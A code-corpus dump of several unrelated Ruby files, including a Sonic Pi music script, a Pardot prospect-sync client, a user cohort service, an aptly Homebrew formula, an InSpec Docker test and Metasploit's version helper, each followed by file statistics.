synths = [:mod_pulse, :mod_saw, :mod_dsaw, :mod_dsaw, :mod_dsaw, :mod_dsaw]
cutoffs = [108, 78, 88, 98]
synth = synths.rotate!.first
4.times do |t|
puts shuffle("0" * (30 - t) + ("1" * t)) unless t == 0
co = cutoffs.rotate!.first + (t * 2)
7.times do
n = chord([:e2, :e3, :e4, :e5][t], :minor).choose
synths(synth, co, n)
end
sleep 2
end
sleep 1
cue :within
end
end
end
define :binary_celebration do |n=1, st=1|
in_thread do
n.times do
puts (0..30).map{|_| ["0", "1"].choose}.join
sleep st
end
end
end
puts 'Introduction'
puts 'The Curved Ebb of Carpentry'
sleep 2
cue :oceans
at [7, 12], [:crash, :within_oceans] do |m|
cue m
end
uncomment do
use_random_seed 0
with_bpm 45 do
with_fx :reverb do
with_fx(:echo, delay: 0.5, decay: 4) do
in_thread do
use_random_seed 2
ocean 5
ocean 1, 0.5
ocean 1, 0.25
end
sleep 10
echoes(5, [:b1, :b2, :e1, :e2, :b3, :e3])
cue :a_distant_object
echoes(5, [:b1, :e1, :e2, :e3])
cue :breathes_time
in_thread do
echoes(5, [:e1, :e2, :e3])
end
use_synth :tb303
echoes(1, [:e1, :e2, :e3], 60, 0.1, 0.5)
echoes(1, [:e1, :e2, :e3], 62)
echoes(1, [:e1, :e2, :e3], 64, 0.03)
echoes(1, [:e1, :e2, :e3], 66)
echoes(1, [:e1, :e2, :e3], 68)
cue :liminality_holds_fast
echoes(4, [:b1, :e1, :e2, :b3, :e3], 80)
echoes(1, [:b1, :b2, :e1, :e2, :b3, :e3], 85, 0.02)
cue :within_reach
echoes(5, [:e1, :b2], 90)
cue :as_it_unfolds
in_thread do
echoes(5, [:e1], 90)
end
end
end
end
end
in_thread(name: :bassdrums) do
use_random_seed 0
sleep 22
loop do
3.times do
bd
end
sleep 28
loop do
bd
end
end
end
in_thread(name: :drums) do
use_random_seed 0
level = -1
with_fx :echo do |e|
sleep 2
drums -1, 0.1
drums -1, 0.2
drums -1, 0.4
drums -1, 0.7
puts "Part 2"
puts "Inside the Machine"
3.times do
8.times do
drums level, 0.8
end
6.times do
drums(level)
end
sleep 1
level += 1
end
sleep 4
cue :dreams
8.times do
drums 1, 1, true
end
10.times do
m = choose [shuffle(:within_dreams), :within_dreams, :dreams_within]
cue m
drums 2, 1, true
end
6.times do
m = choose [shuffle("within") + "_dreams", :within_dreams.shuffle, "dreams_" + shuffle("within")]
cue m
drums 2
end
loop do
8.times do |i|
drums 1
end
16.times do |i|
cue " " * rand_i(32)
at 1 do
cue " " * i
end
drums 2
end
end
end
end
in_thread name: :synths do
use_random_seed 0
sleep 12
cue :the_flow_of_logic
play_synths
end
in_thread do
use_random_seed 0
sync :within
puts "Part 3"
puts "Reality A"
sleep 12
use_synth_defaults phase: 0.5, res: 0.5, cutoff: 80, release: 3.3, wave: 1
2.times do
[80, 90, 100, 110].each do |cf|
use_merged_synth_defaults cutoff: cf
puts "1" * 30
synth :zawa, note: :e2, phase: 0.25
synth :zawa, note: :a1
sleep 3
end
4.times do |t|
binary_celebration(6, 0.5)
synth :zawa, note: :e2, phase: 0.25, res: rrand(0.01, 0.1), cutoff: [100, 105, 110, 115][t]
sleep 3
end
end
puts 'Part n'
puts 'The Observer becomes the Observed'
# Your turn...
end | 24.977974 | 255 | 0.567196 |
03e52331eda8f43b460fb4b2fdf663c670ad5470 | 424 | # frozen_string_literal: true
require 'test_helper'
class CustomCollectionTest < Test::Unit::TestCase
test "#create should create a custom collection" do
fake("custom_collections", method: :post, status: 201, body: load_fixture('custom_collection'))
link = ShopifyAPI::CustomCollection.create(title: "Macbooks", image: { src: "http://example.com/rails_logo.gif" })
assert_equal(1063001463, link.id)
end
end
| 38.545455 | 118 | 0.747642 |
7a1e70d5d55ee6fdd9926fa0c7359b4f10b0879c | 16,766 | require_relative 'pardot_helpers'
class PardotV2
extend PardotHelpers
API_V4_BASE = "https://pi.pardot.com/api/prospect/version/4".freeze
PROSPECT_QUERY_URL = "#{API_V4_BASE}/do/query".freeze
PROSPECT_READ_URL = "#{API_V4_BASE}/do/read/email".freeze
PROSPECT_DELETION_URL = "#{API_V4_BASE}/do/delete/id".freeze
BATCH_CREATE_URL = "#{API_V4_BASE}/do/batchCreate".freeze
BATCH_UPDATE_URL = "#{API_V4_BASE}/do/batchUpdate".freeze
URL_LENGTH_THRESHOLD = 6000
MAX_PROSPECT_BATCH_SIZE = 50
CONTACT_TO_PARDOT_PROSPECT_MAP = {
email: {field: :email},
pardot_id: {field: :id},
# Note: db_* fields are sorted alphabetically
city: {field: :db_City},
country: {field: :db_Country},
form_roles: {field: :db_Form_Roles},
forms_submitted: {field: :db_Forms_Submitted},
hoc_organizer_years: {field: :db_Hour_of_Code_Organizer, multi: true},
postal_code: {field: :db_Postal_Code},
professional_learning_attended: {field: :db_Professional_Learning_Attended, multi: true},
professional_learning_enrolled: {field: :db_Professional_Learning_Enrolled, multi: true},
roles: {field: :db_Roles, multi: true},
state: {field: :db_State},
}.freeze
def initialize(is_dry_run: false)
@new_prospects = []
@updated_prospects = []
@updated_prospect_deltas = []
# Relevant only during dry runs
@dry_run = is_dry_run
@dry_run_api_endpoints_hit = []
end
# Retrieves new (email, Pardot ID) mappings from Pardot
#
# @param [Integer] last_id retrieves only Pardot ID greater than this value
# @param [Array<String>] fields url-safe prospect field names. Must have 'id' the list.
# @param [Integer] limit the maximum number of prospects to retrieve
# @param [Boolean] only_deleted get deleted prospects (default false). Note this is in place of non-deleted prospects, not in addition to.
# @return [Integer] number of results retrieved
#
# @yieldreturn [Array<Hash>] an array of hash of prospect data
# @raise [ArgumentError] if 'id' is not in the list of fields
# @raise [StandardError] if receives errors in Pardot response
def self.retrieve_prospects(last_id, fields, limit = nil, only_deleted = false)
raise ArgumentError.new("Missing value 'id' in fields argument") unless fields.include? 'id'
total_results_retrieved = 0
# Limit the number of prospects retrieved in each API call if the overall limit is less than 200.
# @see http://developer.pardot.com/kb/api-version-4/prospects/#manipulating-the-result-set
limit_in_query = limit && limit < 200 ? limit : nil
# Run repeated requests querying for prospects above our highest known Pardot ID.
# Stop when receiving no prospects or reaching the download limit.
loop do
url = build_prospect_query_url(last_id, fields, limit_in_query, only_deleted)
doc = try_with_exponential_backoff(3) do
post_with_auth_retry url
end
raise_if_response_error(doc)
prospects = []
doc.xpath('/rsp/result/prospect').each do |node|
prospect = extract_prospect_from_response(node, fields)
prospects << prospect
last_id = prospect['id']
end
break if prospects.empty?
yield prospects if block_given?
total_results_retrieved += prospects.length
log "Retrieved #{total_results_retrieved} prospects. Last Pardot ID = #{last_id}."\
" #{limit.nil? ? 'No limit' : "Limit = #{limit}"}."
break if limit && total_results_retrieved >= limit
end
total_results_retrieved
end
# Creates URL and query string for use with Pardot prospect query API
# @param id_greater_than [String, Integer]
# @param fields [Array<String>]
# @param limit [String, Integer]
# @param deleted [Boolean]
# @return [String]
def self.build_prospect_query_url(id_greater_than, fields, limit, deleted)
# Use bulk output format as recommended at http://developer.pardot.com/kb/bulk-data-pull/.
url = "#{PROSPECT_QUERY_URL}?output=bulk&sort_by=id"
url += "&id_greater_than=#{id_greater_than}" if id_greater_than
url += "&fields=#{fields.join(',')}" if fields
url += "&limit=#{limit}" if limit
url += "&deleted=true" if deleted
url
end
# Compiles a batch of prospects and batch-create them in Pardot when batch size
# is big enough. If +eager_submit+ is true, creates the batch in Pardot immediately.
#
# *Warning:* By default, +eager_submit+ is false. It is possible that the batch never gets
# to the size that can trigger a Pardot request. Always uses this method together with its
# sibling, +batch_create_remaining_prospects+ to flush out the remaining data in the batch.
#
# You can think of using this method as writing to an output stream, which at the end you
# have to flush out the remaining content in the stream.
#
# @param [String] email
# @param [Hash] data
# @param [Boolean] eager_submit
# @return [Array<Array>] @see process_batch method
def batch_create_prospects(email, data, eager_submit = false)
prospect = self.class.convert_to_pardot_prospect data.merge(email: email)
@new_prospects << prospect
# Creating new prospects is not a retriable action because it could succeed
# on the Pardot side and we just didn't receive a response. If we try again,
# it would create duplicate prospects.
process_batch BATCH_CREATE_URL, @new_prospects, eager_submit
end
# Immediately batch-create the remaining prospects in Pardot.
# @return [Array<Array>] @see process_batch method
def batch_create_remaining_prospects
process_batch BATCH_CREATE_URL, @new_prospects, true
end
# Compiles a batch of prospects and batch-update them in Pardot when batch size
# is big enough. If +eager_submit+ is true, updates the batch in Pardot immediately.
#
# *Warning:* If +eager_submit+ is false (by default), always uses this method together with
# its sibling, +batch_update_remaining_prospects+ to flush out the remaining data in the batch.
#
# @param [String] email
# @param [Integer] pardot_id
# @param [Hash] old_prospect_data a hash with Pardot prospect keys
# @param [Hash] new_contact_data a hash with original contact keys
# @param [Boolean] eager_submit
# @return [Array<Array>] @see process_batch method
def batch_update_prospects(email, pardot_id, old_prospect_data, new_contact_data, eager_submit = false)
new_prospect_data = self.class.convert_to_pardot_prospect new_contact_data
delta = self.class.calculate_data_delta old_prospect_data, new_prospect_data
return [], [] unless delta.present?
email_pardot_id = self.class.convert_to_pardot_prospect(email: email, pardot_id: pardot_id)
prospect = email_pardot_id.merge new_prospect_data
@updated_prospects << prospect
prospect_delta = email_pardot_id.merge delta
@updated_prospect_deltas << prospect_delta
delta_submissions, errors = self.class.try_with_exponential_backoff(3) do
process_batch BATCH_UPDATE_URL, @updated_prospect_deltas, eager_submit
end
return [], [] unless delta_submissions.present?
# As an optimization, we only send the deltas to Pardot. However, as far as
# the caller's concerned, we have sent the entire contact data to Pardot.
full_submissions = @updated_prospects
@updated_prospects = []
[full_submissions, errors]
end
# Immediately batch-update the remaining prospects in Pardot.
# @return [Array<Array>] @see process_batch method
def batch_update_remaining_prospects
delta_submissions, errors = self.class.try_with_exponential_backoff(3) do
process_batch BATCH_UPDATE_URL, @updated_prospect_deltas, true
end
return [], [] unless delta_submissions.present?
full_submissions = @updated_prospects
@updated_prospects = []
[full_submissions, errors]
end
# Submits a request to a Pardot API endpoint if the prospect batch size is big enough
# or +eager_submit+ is true. Otherwise, does nothing.
#
# *Warning:* This is not a pure method. It clears +prospects+ array once a request
# is successfully send to Pardot.
#
# @param [String] api_endpoint
# @param [Array<Hash>] prospects
# @param [Boolean] eager_submit if is true, triggers submitting request immediately
# @return [Array<Array>] two arrays, one for all submitted prospects and one for Pardot errors
def process_batch(api_endpoint, prospects, eager_submit)
return [], [] unless prospects.present?
submissions = []
errors = []
url = self.class.build_batch_url api_endpoint, prospects
if url.length > URL_LENGTH_THRESHOLD || prospects.size == MAX_PROSPECT_BATCH_SIZE || eager_submit
if @dry_run
# During a dry run, we want to display two example batch of prospects.
# One for newly created prospects, and one for updated prospects.
# If we did not include this limit, the entire batch would be displayed,
# which could be overwhelming for debugging purposes.
unless @dry_run_api_endpoints_hit.include? api_endpoint
self.class.log "Prospects in sample batch to sync to Pardot: #{prospects.length}"
self.class.log "Query string for sample batch:\n#{url}"
self.class.log 'Prospects to be synced in sample batch:'
prospects.each do |prospect|
self.class.log prospect
end
@dry_run_api_endpoints_hit << api_endpoint
end
else
errors = self.class.submit_batch_request api_endpoint, prospects
end
submissions = prospects.clone
prospects.clear
end
[submissions, errors]
end
# Deletes all prospects with the same email address from Pardot.
# @param email [String]
# @return [Boolean] all prospects are deleted or not
def self.delete_prospects_by_email(email)
pardot_ids = retrieve_pardot_ids_by_email(email)
success = true
pardot_ids.each do |id|
success = false unless delete_prospect_by_id(id)
end
success
end
# Deletes a prospect from Pardot using Pardot Id.
# This method only runs in the production environment to avoid accidentally deleting prospect.
# @param [Integer, String] pardot_id of the prospects to be deleted.
# @return [Boolean] deletion succeeds or not
def self.delete_prospect_by_id(pardot_id)
if CDO.rack_env != :production
log "#{__method__} only runs in production. The current environment is #{CDO.rack_env}."
return false
end
# @see http://developer.pardot.com/kb/api-version-4/prospects/#using-prospects
post_with_auth_retry "#{PROSPECT_DELETION_URL}/#{pardot_id}"
true
rescue StandardError => e
# If the input pardot_id does not exist, Pardot will response with
# HTTP code 400 and error code 3 "Invalid prospect ID" in the body.
return false if e.message =~ /Pardot request failed with HTTP 400/
raise e
end
# Finds prospects using email address and extract their Pardot ids.
# @param email [String]
# @return [Array<String>]
def self.retrieve_pardot_ids_by_email(email)
doc = post_with_auth_retry "#{PROSPECT_READ_URL}/#{email}"
doc.xpath('//prospect/id').map(&:text)
rescue StandardError => e
# If the input email does not exist, Pardot will response with
# HTTP code 400, and error code 4 "Invalid prospect email address" in the body.
return [] if e.message =~ /Pardot request failed with HTTP 400/
raise e
end
# Converts contact keys and values to Pardot prospect keys and values.
# @example
# input contact = {email: '[email protected]', pardot_id: 10, opt_in: 1}
# output prospect = {email: '[email protected]', id: 10, db_Opt_In: 'Yes'}
# @param [Hash] contact
# @return [Hash]
def self.convert_to_pardot_prospect(contact)
prospect = {}
CONTACT_TO_PARDOT_PROSPECT_MAP.each do |key, prospect_info|
next unless contact.key?(key)
if prospect_info[:multi]
# For multi-value fields (multi-select, etc.), set key names as [field_name]_0, [field_name]_1, etc.
# @see http://developer.pardot.com/kb/api-version-4/prospects/#updating-fields-with-multiple-values
contact[key].split(',').each_with_index do |value, index|
prospect["#{prospect_info[:field]}_#{index}"] = value
end
else
prospect[prospect_info[:field]] = contact[key]
end
end
# Pardot db_Opt_In field has type "Dropdown" with permitted values "Yes" or "No".
# @see https://pi.pardot.com/prospectFieldCustom/read/id/9514
if contact.key?(:opt_in)
prospect[:db_Opt_In] = contact[:opt_in] == 1 ? 'Yes' : 'No'
end
prospect
end
# Extracts prospect info from a prospect node in a Pardot's XML response.
# @see test method for example.
# @param [Nokogiri::XML::Element] prospect_node
# @param [Array<String>] fields
# @return [Hash]
def self.extract_prospect_from_response(prospect_node, fields)
{}.tap do |prospect|
fields.each do |field|
# Collect all text values for this field
field_node = prospect_node.xpath(field)
values = field_node.children.map(&:text)
if values.length == 1
prospect.merge!({field => values.first})
else
# For a multi-value field, to be consistent with how we update it to Pardot,
# set key names as [field]_0, [field]_1, etc.
# @see http://developer.pardot.com/kb/api-version-4/prospects/#updating-fields-with-multiple-values
values.each_with_index do |value, index|
prospect.merge!("#{field}_#{index}" => value)
end
end
end
end
end
# Create a batch request URL containing one or more prospects in its query string.
# Example return:
# https://pi.pardot.com/api/prospect/version/4/do/batchCreate?prospects=<data>
# data is in JSON format, e.g., {"prospects":[{"email":"[email protected]","name":"hello"}]}
# @see: http://developer.pardot.com/kb/api-version-4/prospects/#endpoints-for-batch-processing
#
# @param [String] api_endpoint
# @param [Array<Hash>] prospects an array of prospect data
# @return [String] a URL
def self.build_batch_url(api_endpoint, prospects)
prospects_payload_json_encoded = URI.encode({prospects: prospects}.to_json)
# Encode plus signs in email addresses because it is invalid in a query string
# (even though it is valid in the base of a URL).
prospects_payload_json_encoded = prospects_payload_json_encoded.gsub("+", "%2B")
"#{api_endpoint}?prospects=#{prospects_payload_json_encoded}"
end
# Submits a request to Pardot to create/update a batch of prospects.
# @see http://developer.pardot.com/kb/api-version-4/prospects/#endpoints-for-batch-processing
#
# @param api_endpoint [String] a Pardot API endpoint
# @param prospects [Array<Hash>] an array of prospect data
# @return [Array<Hash>] @see extract_batch_request_errors method
#
# @raise [Net::ReadTimeout] if doesn't get a response from Pardot
def self.submit_batch_request(api_endpoint, prospects)
return [] unless prospects.present?
# Send request to Pardot
url = build_batch_url api_endpoint, prospects
time_start = Time.now.utc
doc = post_with_auth_retry url
time_elapsed = Time.now.utc - time_start
# Return indexes of rejected emails and their error messages
errors = extract_batch_request_errors doc
log "Completed a batch request to #{api_endpoint} in #{time_elapsed.round(2)} secs. "\
"#{prospects.length} prospects submitted. #{errors.length} rejected."
errors
end
# Extracts errors from a Pardot response.
# @param [Nokogiri::XML] doc a Pardot XML response for a batch request
# @return [Array<Hash>] an array of hashes, each containing an index and an error message
def self.extract_batch_request_errors(doc)
doc.xpath('/rsp/errors/*').map do |node|
{prospect_index: node.attr("identifier").to_i, error_msg: node.text}
end
end
# Identifies additional information that is in new data but not in old data.
# Example:
# old_data = {key1: 'v1', key2: 'v2', key3: nil}
# new_data = {key1: 'v1.1', key2: 'v2', key4: 'v4'}
# delta output = {key1: 'v1.1', key4: 'v4'}
# The output means there is a new value for key1,
# key2 and key3 are ignored (no new information about these keys in new_data),
# and set key4 for the first time.
#
# @param [Hash] old_data
# @param [Hash] new_data
# @return [Hash]
def self.calculate_data_delta(old_data, new_data)
return new_data unless old_data.present?
# Set key-value pairs that exist only in the new data
{}.tap do |delta|
new_data.each_pair do |key, val|
delta[key] = val unless old_data.key?(key) && old_data[key] == val
end
end
end
end
| 41.093137 | 140 | 0.708279 |
03be87f4cc1dd2e847298924b08b526d374b3194 | 2,964 | # frozen_string_literal: true
class CohortsService
MONTHS_INCLUDED = 12
def execute
{
months_included: MONTHS_INCLUDED,
cohorts: cohorts
}
end
# Get an array of hashes that looks like:
#
# [
# {
# registration_month: Date.new(2017, 3),
# activity_months: [3, 2, 1],
# total: 3
# inactive: 0
# },
# etc.
#
# The `months` array is always from oldest to newest, so it's always
# non-strictly decreasing from left to right.
def cohorts
months = Array.new(MONTHS_INCLUDED) { |i| i.months.ago.beginning_of_month.to_date }
Array.new(MONTHS_INCLUDED) do
registration_month = months.last
activity_months = running_totals(months, registration_month)
# Even if no users registered in this month, we always want to have a
# value to fill in the table.
inactive = counts_by_month[[registration_month, nil]].to_i
months.pop
{
registration_month: registration_month,
activity_months: activity_months[1..-1],
total: activity_months.first[:total],
inactive: inactive
}
end
end
private
# Calculate a running sum of active users, so users active in later months
# count as active in this month, too. Start with the most recent month first,
# for calculating the running totals, and then reverse for displaying in the
# table.
#
# Each month has a total, and a percentage of the overall total, as keys.
def running_totals(all_months, registration_month)
month_totals =
all_months
.map { |activity_month| counts_by_month[[registration_month, activity_month]] }
.reduce([]) { |result, total| result << result.last.to_i + total.to_i }
.reverse
overall_total = month_totals.first
month_totals.map do |total|
{ total: total, percentage: total.zero? ? 0 : 100 * total / overall_total }
end
end
# Get a hash that looks like:
#
# {
# [created_at_month, last_activity_on_month] => count,
# [created_at_month, last_activity_on_month_2] => count_2,
# # etc.
# }
#
# created_at_month can never be nil, but last_activity_on_month can (when a
# user has never logged in, just been created). This covers the last
# MONTHS_INCLUDED months.
# rubocop: disable CodeReuse/ActiveRecord
def counts_by_month
@counts_by_month ||=
begin
created_at_month = column_to_date('created_at')
last_activity_on_month = column_to_date('last_activity_on')
User
.where('created_at > ?', MONTHS_INCLUDED.months.ago.end_of_month)
.group(created_at_month, last_activity_on_month)
.reorder(Arel.sql("#{created_at_month} ASC, #{last_activity_on_month} ASC"))
.count
end
end
# rubocop: enable CodeReuse/ActiveRecord
def column_to_date(column)
"CAST(DATE_TRUNC('month', #{column}) AS date)"
end
end
| 29.346535 | 87 | 0.657557 |
039a3a609fb64df4fee76644d1d0fa2f99ae3425 | 1,656 | require 'orph'
require 'pygments'
class Post < Mustache
include Comparable
def self.meta(field, opts = {})
define_method(field) { @meta[field.to_s] || opts[:default] }
end
def self.date_format(name, format)
define_method(name) { date_time.strftime format }
end
def self.all
Dir.glob("posts/*").map {|f| new(f) }.sort.reverse
end
def self.types
all.map(&:type).uniq.sort
end
meta :title
meta :file
meta :href
meta :type, :default => "text"
date_format :date, "%Y-%m-%d"
date_format :formatted_date, "%b %e, %Y"
date_format :timestamp, "%Y-%m-%dT%H:%M:%SZ"
def initialize(file_path)
@orph = Orph.new
@file_path = file_path
@meta, @body = File.open(@file_path).read.split(/\n\n/, 2)
@meta = YAML.load(@meta)
self.template = open("templates/_#{type}.html.mustache").read
end
def write
open("public/#{url}", "w") do |index|
full_title = [title, "DavidMade"].compact * " - "
layout = Layout.new(:title => full_title) { render }
index.write(layout.render)
end
end
def date_time
DateTime.parse(@meta["date"].to_s)
end
def body
if @body
markup = @body.gsub(/```(\w+)(.+?)```/m) do |code|
Pygments.highlight($2, lexer: $1)
end
@orph.fix(RDiscount.new(markup, :smart).to_html)
end
end
def url
@file_path.gsub /md$/, "html"
end
def source_url
"http://raw.github.com/dce/davidmade/master/#{@file_path}"
end
def <=>(other)
date_time <=> other.date_time
end
types.each do |type_name|
define_method "#{type_name}?" do
type == type_name
end
end
end
| 20.7 | 65 | 0.603865 |
bf023b3ae7f66d1b6127e50fed4d6ad2ff62561d | 31 | require 'blast_furnace/blaster' | 31 | 31 | 0.870968 |
6a51a708de52ec4b10367e16baeceb4a543bc5de | 450 | require 'printer'
module Package
class Printer < ::Printer
def call(packages)
name_justification = packages.name_justification
version_justification = packages.version_justification
packages.each do |package|
puts "%s %s = %s" % [
package.name.to_s.ljust(name_justification),
package.version.ljust(version_justification),
package.archive.uri
]
end
end
end
end
| 20.454545 | 60 | 0.644444 |
28af0357b8aab93ce7f29d0c1f2c146aba96889d | 887 | # encoding: utf-8
require 'spec_helper'
describe Rubocop::Cop::Style::SpaceAfterComma do
subject(:cop) { described_class.new }
it 'registers an offense for block argument commas without space' do
inspect_source(cop, ['each { |s,t| }'])
expect(cop.messages).to eq(
['Space missing after comma.'])
end
it 'registers an offense for array index commas without space' do
inspect_source(cop, ['formats[0,1]'])
expect(cop.messages).to eq(
['Space missing after comma.'])
end
it 'registers an offense for method call arg commas without space' do
inspect_source(cop, ['a(1,2)'])
expect(cop.messages).to eq(
['Space missing after comma.'])
end
it 'auto-corrects missing space' do
new_source = autocorrect_source(cop, 'each { |s,t| a(1,formats[0,1])}')
expect(new_source).to eq('each { |s, t| a(1, formats[0, 1])}')
end
end
| 28.612903 | 75 | 0.664036 |
e277bef35b725412918085ec6cd97388d8c70f87 | 821 | require_relative '../../helpers/inspec/docker_helper.rb/'
docker_env = 'DOCKER_HOST="tcp://0.0.0.0:2376" DOCKER_CERT_PATH="/etc/docker/ssl" DOCKER_TLS_VERIFY="1"'
inspec_docker?(docker_env)
describe port(2376) do
it { should be_listening }
end
describe crontab do
its('commands') { should include '/usr/bin/docker system prune --volumes -f --filter label!=preserve=true > /dev/null' }
its('commands') { should include '/usr/bin/docker system prune -a -f --filter label!=preserve=true > /dev/null' }
end
describe command('docker volume inspect ccache') do
its('exit_status') { should eq 0 }
its('stdout') { should match(%r{"Mountpoint": "/var/lib/docker/volumes/ccache/_data"}) }
its('stdout') { should match(/"Name": "ccache"/) }
its('stdout') { should match(/"Labels": {\n.*"preserve": "true"/) }
end
| 37.318182 | 122 | 0.691839 |
1a24fde34968666d771c464bab9a44e238d9e527 | 157 | # frozen_string_literal: true
# Base abstract object for ActiveRecord classes
class ApplicationRecord < ActiveRecord::Base
self.abstract_class = true
end
| 22.428571 | 47 | 0.815287 |
1a81aaa74cb5b7d8ea8c9d331a8268bdb72c07c7 | 306 | require 'awestruct/handlers/file_handler'
module Awestruct
module Handlers
class VerbatimFileHandler < FileHandler
# Read file in binary mode so that it can be copied to the generated site as is
def read_content
File.open(@path, 'rb') {|is| is.read }
end
end
end
end
| 23.538462 | 85 | 0.686275 |
18a4b76bb19b80b97daf671a32f68ab2e0bf0521 | 1,312 | require 'rbconfig'
require 'yaml'
module Metasploit
module Framework
module Version
# Determines the git hash for this source tree
#
# @return [String] the git hash for this source tree
def self.get_hash
@@git_hash ||= begin
root = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..'))
version_yml = File.join(root, 'version.yml')
hash = ''
if File.exist?(version_yml)
version_info = YAML.load_file(version_yml)
hash = '-' + version_info['build_framework_rev']
else
# determine if git is installed
null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null'
git_installed = system("git --version > #{null} 2>&1")
# get the hash of the HEAD commit
if git_installed && File.exist?(File.join(root, '.git'))
hash = '-' + `git rev-parse --short HEAD`
end
end
hash.strip
end
end
VERSION = "4.13.10"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
end
VERSION = "#{Version::VERSION}-#{Version::PRERELEASE}#{Version::HASH}"
GEM_VERSION = "#{Version::VERSION}"
end
end
| 30.511628 | 86 | 0.551829 |
d5062589f0b0ea26a45e6a80be4b5bc20b5471cd | 1,803 | class BooksController < ApplicationController
before_action :set_book, only: [:show, :edit, :update, :destroy]
# GET /books
# GET /books.json
def index
@books = Book.all
end
# GET /books/1
# GET /books/1.json
def show
end
# GET /books/new
def new
@book = Book.new
end
# GET /books/1/edit
def edit
end
# POST /books
# POST /books.json
def create
@book = Book.new(book_params)
respond_to do |format|
if @book.save
format.html { redirect_to @book, notice: 'Book was successfully created.' }
format.json { render :show, status: :created, location: @book }
else
format.html { render :new }
format.json { render json: @book.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /books/1
# PATCH/PUT /books/1.json
def update
respond_to do |format|
if @book.update(book_params)
format.html { redirect_to @book, notice: 'Book was successfully updated.' }
format.json { render :show, status: :ok, location: @book }
else
format.html { render :edit }
format.json { render json: @book.errors, status: :unprocessable_entity }
end
end
end
# DELETE /books/1
# DELETE /books/1.json
def destroy
@book.destroy
respond_to do |format|
format.html { redirect_to books_url, notice: 'Book was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_book
@book = Book.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def book_params
params.require(:book).permit(:title, :price, { :author_ids => [] })
end
end
| 24.364865 | 88 | 0.635053 |
08db62f78fff5d95c32bd4f72d224cfab9eedee2 | 4,516 | require "formula"
require "language/go"
class Aptly < Formula
homepage "http://www.aptly.info/"
url "https://github.com/smira/aptly/archive/v0.8.tar.gz"
sha1 "cf6ec39d2a450d5a7bc4a7ee13cacfba782a324f"
head "https://github.com/smira/aptly.git"
bottle do
cellar :any
sha1 "0c8c7a948f123d1a40bc2259d8445021094887b0" => :yosemite
sha1 "e9fbdfb93bd116385478176835ca5b848b8c24d2" => :mavericks
sha1 "73ee380d7e60ce73dfd37c91fcbdafea446f8910" => :mountain_lion
end
depends_on :hg => :build
depends_on "go" => :build
go_resource "github.com/mattn/gom" do
url "https://github.com/mattn/gom.git", :revision => "2ed6c170e43a3fea036789a1e60a25c0a3bde149"
end
go_resource "code.google.com/p/go-uuid" do
url "https://code.google.com/p/go-uuid/", :revision => "5fac954758f5", :using => :hg
end
go_resource "code.google.com/p/go.crypto" do
url "https://code.google.com/p/go.crypto/", :revision => "7aa593ce8cea", :using => :hg
end
go_resource "code.google.com/p/gographviz" do
url "https://code.google.com/p/gographviz/", :revision => "454bc64fdfa2", :using => :git
end
go_resource "code.google.com/p/mxk" do
url "https://code.google.com/p/mxk/", :revision => "5ff2502e2556", :using => :hg
end
go_resource "code.google.com/p/snappy-go" do
url "https://code.google.com/p/snappy-go/", :revision => "12e4b4183793", :using => :hg
end
go_resource "github.com/cheggaaa/pb" do
url "https://github.com/cheggaaa/pb.git", :revision => "74be7a1388046f374ac36e93d46f5d56e856f827"
end
go_resource "github.com/gin-gonic/gin" do
url "https://github.com/gin-gonic/gin.git", :revision => "0808f8a824cfb9aef6ea4fd664af238544b66fc1"
end
go_resource "github.com/jlaffaye/ftp" do
url "https://github.com/jlaffaye/ftp.git", :revision => "fec71e62e457557fbe85cefc847a048d57815d76"
end
go_resource "github.com/julienschmidt/httprouter" do
url "https://github.com/julienschmidt/httprouter.git", :revision => "46807412fe50aaceb73bb57061c2230fd26a1640"
end
go_resource "github.com/mattn/go-shellwords" do
url "https://github.com/mattn/go-shellwords.git", :revision => "c7ca6f94add751566a61cf2199e1de78d4c3eee4"
end
go_resource "github.com/mitchellh/goamz" do
url "https://github.com/mitchellh/goamz.git", :revision => "e7664b32019f31fd1bdf33f9e85f28722f700405"
end
go_resource "github.com/mkrautz/goar" do
url "https://github.com/mkrautz/goar.git", :revision => "36eb5f3452b1283a211fa35bc00c646fd0db5c4b"
end
go_resource "github.com/smira/commander" do
url "https://github.com/smira/commander.git", :revision => "f408b00e68d5d6e21b9f18bd310978dafc604e47"
end
go_resource "github.com/smira/flag" do
url "https://github.com/smira/flag.git", :revision => "357ed3e599ffcbd4aeaa828e1d10da2df3ea5107"
end
go_resource "github.com/smira/go-ftp-protocol" do
url "https://github.com/smira/go-ftp-protocol.git", :revision => "066b75c2b70dca7ae10b1b88b47534a3c31ccfaa"
end
go_resource "github.com/syndtr/goleveldb" do
url "https://github.com/syndtr/goleveldb.git", :revision => "e2fa4e6ac1cc41a73bc9fd467878ecbf65df5cc3"
end
go_resource "github.com/ugorji/go" do
url "https://github.com/ugorji/go.git", :revision => "71c2886f5a673a35f909803f38ece5810165097b"
end
go_resource "github.com/vaughan0/go-ini" do
url "https://github.com/vaughan0/go-ini.git", :revision => "a98ad7ee00ec53921f08832bc06ecf7fd600e6a1"
end
go_resource "github.com/wsxiaoys/terminal" do
url "https://github.com/wsxiaoys/terminal.git", :revision => "5668e431776a7957528361f90ce828266c69ed08"
end
go_resource "github.com/daviddengcn/go-colortext" do
url "https://github.com/daviddengcn/go-colortext.git", :revision => "b5c0891944c2f150ccc9d02aecf51b76c14c2948"
end
def install
mkdir_p "#{buildpath}/src/github.com/smira/"
ln_s buildpath, "#{buildpath}/src/github.com/smira/aptly"
ENV["GOPATH"] = buildpath
ENV.append_path "PATH", "#{ENV["GOPATH"]}/bin"
Language::Go.stage_deps resources, buildpath/"src"
cd "#{buildpath}/src/github.com/mattn/gom" do
system "go", "install"
end
system "./bin/gom", "build", "-o", "bin/aptly"
bin.install "bin/aptly"
end
test do
assert shell_output("aptly version").include?("aptly version:")
(testpath/".aptly.conf").write("{}")
result = shell_output("aptly -config='#{testpath}/.aptly.conf' mirror list")
assert result.include? "No mirrors found, create one with"
end
end
| 35.28125 | 114 | 0.721435 |
9107f6f314d54f7f1975f96e1bade9d8d3df8f87 | 630 | module Gsa18f
class ProcurementFields
def initialize(procurement = nil)
@procurement = procurement
end
def relevant(recurring)
fields = default
if recurring
